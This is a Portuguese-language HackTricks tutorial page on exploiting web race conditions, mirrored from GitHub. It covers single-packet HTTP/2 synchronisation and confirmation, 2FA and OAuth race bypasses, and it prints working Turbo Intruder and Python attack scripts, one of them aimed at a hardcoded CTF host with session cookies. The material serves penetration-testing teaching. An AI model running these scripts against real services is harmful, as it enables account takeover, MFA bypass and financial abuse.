mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
419 lines
22 KiB
Markdown
419 lines
22 KiB
Markdown
# Condição de Corrida
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
{% hint style="warning" %}
|
||
Para obter uma compreensão profunda dessa técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
{% endhint %}
|
||
|
||
## Aperfeiçoando Ataques de Condição de Corrida
|
||
|
||
O principal obstáculo para aproveitar as condições de corrida é garantir que várias solicitações sejam tratadas ao mesmo tempo, com **pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
|
||
|
||
Aqui você pode encontrar algumas técnicas para Sincronizar Solicitações:
|
||
|
||
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
|
||
|
||
* **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit de condição de corrida consistente.
|
||
* **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea no servidor.
|
||
|
||
A **Preparação para a Sincronização de Último Byte** envolve:
|
||
|
||
1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
|
||
2. Pausar por 100ms após o envio inicial.
|
||
3. Desativar o TCP\_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
|
||
4. Fazer ping para aquecer a conexão.
|
||
|
||
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
|
||
|
||
### Adaptando à Arquitetura do Servidor
|
||
|
||
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento preemptivo da conexão do lado do servidor, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
|
||
|
||
#### Lidando com Bloqueios Baseados em Sessão
|
||
|
||
Frameworks como o manipulador de sessão do PHP serializam solicitações por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar tokens de sessão diferentes para cada solicitação pode contornar esse problema.
|
||
|
||
#### Superando Limites de Taxa ou Recursos
|
||
|
||
Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos limites de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida.
|
||
|
||
## Exemplos de Ataque
|
||
|
||
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
|
||
|
||
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Se você for **enviar valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
||
```python
|
||
passwords = wordlists.clipboard
|
||
for password in passwords:
|
||
engine.queue(target.req, password, gate='race1')
|
||
```
|
||
{% hint style="warning" %}
|
||
Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
|
||
{% endhint %}
|
||
|
||
* **Intrusão de Tubo - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como:
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=1,
|
||
engine=Engine.BURP2
|
||
)
|
||
|
||
# Hardcode the second request for the RC
|
||
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
||
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
||
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
||
Content-Length: 0
|
||
|
||
'''
|
||
|
||
# For each attempt (20 in total) send 50 confirmation requests.
|
||
for attempt in range(20):
|
||
currentAttempt = str(attempt)
|
||
username = 'aUser' + currentAttempt
|
||
|
||
# queue a single registration request
|
||
engine.queue(target.req, username, gate=currentAttempt)
|
||
|
||
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
||
for i in range(50):
|
||
engine.queue(confirmationReq, gate=currentAttempt)
|
||
|
||
# send all the queued requests for this attempt
|
||
engine.openGate(currentAttempt)
|
||
```
|
||
* Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
|
||
* Para **limit-overrun** você poderia simplesmente adicionar a **mesma solicitação 50 vezes** no grupo.
|
||
* Para **aquecimento de conexão**, você poderia **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
|
||
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em 2 etapas de subestado, você poderia **adicionar solicitações extras entre** ambas as solicitações.
|
||
* Para um RC de **múltiplos endpoints** você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
|
||
|
||
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
* **Script python automatizado**: O objetivo deste script é alterar o e-mail de um usuário enquanto verifica continuamente até que o token de verificação do novo e-mail chegue ao último e-mail (isso ocorre porque no código estava ocorrendo um RC onde era possível modificar um e-mail, mas ter a verificação enviada para o antigo porque a variável que indica o e-mail já estava preenchida com o primeiro).\
|
||
Quando a palavra "objetivo" é encontrada nos e-mails recebidos, sabemos que recebemos o token de verificação do e-mail alterado e encerramos o ataque.
|
||
```python
|
||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||
# Script from victor to solve a HTB challenge
|
||
from h2spacex import H2OnTlsConnection
|
||
from time import sleep
|
||
from h2spacex import h2_frames
|
||
import requests
|
||
|
||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||
|
||
# change these headers
|
||
|
||
headersObjetivo= """accept: */*
|
||
content-type: application/x-www-form-urlencoded
|
||
Cookie: """+cookie+"""
|
||
Content-Length: 112
|
||
"""
|
||
|
||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||
|
||
headersVerification= """Content-Length: 1
|
||
Cookie: """+cookie+"""
|
||
"""
|
||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||
|
||
host = "94.237.56.46"
|
||
puerto =39697
|
||
|
||
|
||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||
|
||
response = requests.get(url, verify=False)
|
||
|
||
|
||
while "objetivo" not in response.text:
|
||
|
||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||
|
||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||
#print(response.text)
|
||
# change this host name to new generated one
|
||
|
||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||
|
||
print(responseReset.status_code)
|
||
|
||
h2_conn = H2OnTlsConnection(
|
||
hostname=host,
|
||
port_number=puerto
|
||
)
|
||
|
||
h2_conn.setup_connection()
|
||
|
||
try_num = 100
|
||
|
||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||
|
||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||
all_data_frames = [] # all data frames which contain the last byte
|
||
|
||
|
||
for i in range(0, try_num):
|
||
last_data_frame_with_last_byte=''
|
||
if i == try_num/2:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||
method='POST',
|
||
headers_string=headersObjetivo,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=bodyObjetivo,
|
||
path='/challenge/api/profile'
|
||
)
|
||
else:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||
method='GET',
|
||
headers_string=headersVerification,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=".",
|
||
path='/challenge/api/sendVerification'
|
||
)
|
||
|
||
all_headers_frames.append(header_frames_without_last_byte)
|
||
all_data_frames.append(last_data_frame_with_last_byte)
|
||
|
||
|
||
# concatenate all headers bytes
|
||
temp_headers_bytes = b''
|
||
for h in all_headers_frames:
|
||
temp_headers_bytes += bytes(h)
|
||
|
||
# concatenate all data frames which have last byte
|
||
temp_data_bytes = b''
|
||
for d in all_data_frames:
|
||
temp_data_bytes += bytes(d)
|
||
|
||
h2_conn.send_bytes(temp_headers_bytes)
|
||
|
||
|
||
|
||
|
||
# wait some time
|
||
sleep(0.1)
|
||
|
||
# send ping frame to warm up connection
|
||
h2_conn.send_ping_frame()
|
||
|
||
# send remaining data frames
|
||
h2_conn.send_bytes(temp_data_bytes)
|
||
|
||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||
frame_parser.add_frames(resp)
|
||
frame_parser.show_response_of_sent_requests()
|
||
|
||
print('---')
|
||
|
||
sleep(3)
|
||
h2_conn.close_connection()
|
||
|
||
response = requests.get(url, verify=False)
|
||
```
|
||
### Bruto Força Bruto
|
||
|
||
Antes da pesquisa anterior, esses eram alguns payloads usados que simplesmente tentavam enviar os pacotes o mais rápido possível para causar uma RC.
|
||
|
||
- **Repetidor:** Verifique os exemplos da seção anterior.
|
||
- **Intruso:** Envie a **solicitação** para o **Intruso**, defina o **número de threads** para **30** dentro do menu **Opções** e selecione como payload **Cargas nulas** e gere **30**.
|
||
- **Turbo Intruso**
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=5,
|
||
requestsPerConnection=1,
|
||
pipeline=False
|
||
)
|
||
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
for i in range(len(a)):
|
||
engine.queue(target.req,a[i], gate='race1')
|
||
# open TCP connections and send partial requests
|
||
engine.start(timeout=10)
|
||
engine.openGate('race1')
|
||
engine.complete(timeout=60)
|
||
|
||
def handleResponse(req, interesting):
|
||
table.add(req)
|
||
```
|
||
* **Python - asyncio**
|
||
```python
|
||
import asyncio
|
||
import httpx
|
||
|
||
async def use_code(client):
|
||
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
return resp.text
|
||
|
||
async def main():
|
||
async with httpx.AsyncClient() as client:
|
||
tasks = []
|
||
for _ in range(20): #20 times
|
||
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
||
# Get responses
|
||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
||
# Print results
|
||
for r in results:
|
||
print(r)
|
||
|
||
# Async2sync sleep
|
||
await asyncio.sleep(0.5)
|
||
print(results)
|
||
|
||
asyncio.run(main())
|
||
```
|
||
## Metodologia de RC
|
||
|
||
### Limite de estouro / TOCTOU
|
||
|
||
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado [**neste relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**este bug**](https://hackerone.com/reports/759247)**.**
|
||
|
||
Existem muitas variações desse tipo de ataque, incluindo:
|
||
|
||
* Resgatar um cartão-presente várias vezes
|
||
* Avaliar um produto várias vezes
|
||
* Sacar ou transferir dinheiro acima do saldo da sua conta
|
||
* Reutilizar uma solução CAPTCHA única
|
||
* Bypass de um limite de taxa anti-brute-force
|
||
|
||
### **Subestados ocultos**
|
||
|
||
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso:
|
||
|
||
1. **Identificar Subestados Ocultos Potenciais**
|
||
* Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
|
||
* **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
|
||
* **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
|
||
* **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações com chave no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
|
||
2. **Conduzir Sondagem Inicial**
|
||
* Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade.
|
||
3. **Demonstrar a Vulnerabilidade**
|
||
* Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido.
|
||
|
||
### Ataques Sensíveis ao Tempo
|
||
|
||
A precisão no timing das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como carimbos de data e hora são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em carimbos de data e hora poderia permitir tokens idênticos para solicitações simultâneas.
|
||
|
||
**Para Explorar:**
|
||
|
||
* Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
|
||
|
||
**Exemplo:**
|
||
|
||
* Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de token.
|
||
|
||
**Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para tentar isso.**
|
||
|
||
## Estudos de caso de subestados ocultos
|
||
|
||
### Pagar e adicionar um item
|
||
|
||
Confira este [**Laboratório PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que **não precisará pagar por ele**.
|
||
|
||
### Confirmar outros e-mails
|
||
|
||
A ideia é **verificar um endereço de e-mail e alterá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo alterado.
|
||
|
||
### Alterar e-mail para 2 endereços de e-mail baseados em Cookie
|
||
|
||
De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a uma tomada de controle dessa maneira porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**.
|
||
|
||
**Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para tentar isso.**
|
||
|
||
### Estados ocultos do banco de dados / Bypass de confirmação
|
||
|
||
Se **2 gravações diferentes** são usadas para **adicionar informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**.
|
||
|
||
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
|
||
|
||
**Confira este** [**Laboratório PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para tentar isso.**
|
||
|
||
### Bypass 2FA
|
||
|
||
O seguinte pseudo-código é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada:
|
||
```python
|
||
session['userid'] = user.userid
|
||
if user.mfa_enabled:
|
||
session['enforce_mfa'] = True
|
||
# generate and send MFA code to user
|
||
# redirect browser to MFA code entry form
|
||
```
|
||
### Persistência eterna do OAuth2
|
||
|
||
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados no provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
|
||
Então, até aqui apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
|
||
|
||
#### Condição de corrida em `authorization_code`
|
||
|
||
O **problema** surge quando você **aceita** e envia automaticamente um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||
|
||
#### Condição de corrida em `Refresh Token`
|
||
|
||
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
|
||
|
||
## **CC em WebSockets**
|
||
|
||
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
|
||
|
||
## Referências
|
||
|
||
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Tenha acesso hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
|